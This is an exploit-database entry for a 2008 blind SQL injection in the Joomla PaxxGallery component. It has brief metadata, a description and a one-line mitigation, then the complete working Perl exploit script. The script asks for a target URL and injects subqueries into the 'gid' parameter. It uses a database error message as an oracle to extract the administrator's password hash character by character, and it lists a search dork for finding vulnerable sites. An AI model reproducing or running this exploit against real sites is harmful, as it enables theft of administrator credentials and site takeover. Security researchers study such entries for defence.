header-logo
Suggest Exploit
vendor:
PaxxGallery
by:
ZAMUT
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: PaxxGallery
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Joomla Component PaxxGallery Blind SQL Injection Exploit (gid)

This exploit is a blind SQL injection vulnerability in the Joomla Component PaxxGallery. It allows an attacker to extract the administrator's password hash from the database. The exploit works by sending a specially crafted request to the vulnerable parameter 'gid' and using the error message 'Subquery returns more than 1 row' to determine the correct character of the password hash.

Mitigation:

The best way to mitigate this vulnerability is to update the Joomla Component PaxxGallery to the latest version.
Source

Exploit-DB raw data:

#!/usr/bin/perl
use strict;
use LWP::Simple;
print "-+--[ Joomla Component PaxxGallery Blind SQL Injection Exploit (gid) ]--+-\n";
print "-+--                 \"more than 1 row\"                          --+-\n";
print "-+--                                                            --+-\n";
print "-+--            Author: ZAMUT                                   --+-\n";
print "-+--            Vuln: gid=                                      --+-\n";
print "-+--            Dork: option=com_paxxgallery                    --+-\n";

# Example:
# Url_Part_1: http://www.xxx.com/index.php?option=com_paxxgallery&Itemid=46&task=view&gid=7
# Url_Part_2: &iid=34

print "Url_Part_1:" ;
chomp(my $ur1=<STDIN>);
print "Url_Part_2:";
chomp(my $ur2=<STDIN>);
my $n=48;
my $i=1;
my $log= 1;
my ($content,$result) = undef;
my $request = 0;
while($log)
{
	$content = get($ur1.'+and+1=(select+1+from+jos_users+where+length(if(ascii(upper(substring((select+password+from+jos_users+where+id=62),'.$i.',1)))='.$n.',password,id))>4)/*'.$ur2);
	if($content =~ /Subquery returns more than 1 row/) {$result.=chr($n); $n=47; $i++;}
	elsif($i==33 || $content =~ /doesn\'t exist/) {$log = 0}
	else {$n++; if($n==58){$n=65} }
	$request++;
}
print "Administrator hash: ".$result."\n";
print "REQUEST: ".$request;

# milw0rm.com [2008-04-27]